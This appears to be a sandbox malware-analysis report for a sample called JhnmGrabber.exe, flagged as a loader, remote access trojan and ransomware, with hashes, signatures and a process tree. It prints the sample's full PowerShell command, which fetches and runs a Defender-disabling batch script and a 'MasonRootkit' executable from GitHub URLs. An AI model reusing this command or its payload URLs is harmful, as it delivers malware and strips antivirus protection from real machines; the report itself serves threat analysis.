Overview

overview

10

Static

static

3

JhnmGrabber.exe

windows10-2004-x64

10

JhnmGrabber.exe

windows11-ltsc_2024-x64

10

Resubmissions

06/08/2026, 03:39

260806-d7pm1sff3310

06/08/2026, 01:43

260806-b5fafsbp6y10

Analysis

  • user interaction
    yes
  • max time kernel
    31s
  • max time network
    32s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    06/08/2026, 03:39

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General

  • Target
    JhnmGrabber.exe
  • Size 1.4MB
  • Sample260806-d7pm1sff33
  • SHA256 cb22ecf141895afa986c898edd2961d8ddbbd8f4515cd8bb48e36a93d582dd81
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwareexecutiondonutloaderneptuneratxwormloaderransomwareratspywaretrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
  • exe.dropper

    https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

    loaderdonutloader
  • Family: NeptuneRAT, MasonRAT

    NeptuneRAT aka MasonRAT is a trojan written in C#.

    trojanneptunerat
  • Family: Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Detect Xworm Payload 1 IoCs
  • Detects DonutLoader 2 IoCs
    loader
  • Detects NeptuneRAT stealer 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
    adwarespyware
  • Modifies registry class 46 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 36 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3376
    • C:\Users\Admin\AppData\Local\Temp\JhnmGrabber.exe
      "C:\Users\Admin\AppData\Local\Temp\JhnmGrabber.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4352
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1120
    • C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\OpenConvertTo.inf
      2⤵
      • Opens file in notepad (likely ransom note)
      PID:4348
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4388

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_fjsbzi1q.ant.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fjsbzi1q.ant.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/1120-15-0x000001A736B70000-0x000001A737098000-memory.dmp
          Download

          memory/1120-14-0x000001A736470000-0x000001A736632000-memory.dmp
          Download

          memory/1120-17-0x000001A7195D0000-0x000001A7195E0000-memory.dmp
          Download

          memory/1120-5-0x000001A7195D0000-0x000001A7195E0000-memory.dmp
          Download

          memory/1120-4-0x000001A7195D0000-0x000001A7195E0000-memory.dmp
          Download

          memory/1120-11-0x000001A71B2A0000-0x000001A71B2C2000-memory.dmp
          Download

          memory/1120-16-0x000001A7195D0000-0x000001A7195E0000-memory.dmp
          Download

          memory/3376-2-0x0000000002D80000-0x0000000002D92000-memory.dmp
          Download

          memory/3376-0-0x0000000002690000-0x00000000026A5000-memory.dmp
          Download

          memory/3376-1-0x0000000002D60000-0x0000000002D70000-memory.dmp
          Download

          memory/3376-3-0x0000000002D60000-0x0000000002D70000-memory.dmp
          Download

          memory/3376-21-0x0000000002D60000-0x0000000002D70000-memory.dmp
          Download

          memory/3376-20-0x0000000002D60000-0x0000000002D70000-memory.dmp
          Download

          memory/3376-22-0x0000000002D60000-0x0000000002D70000-memory.dmp
          Download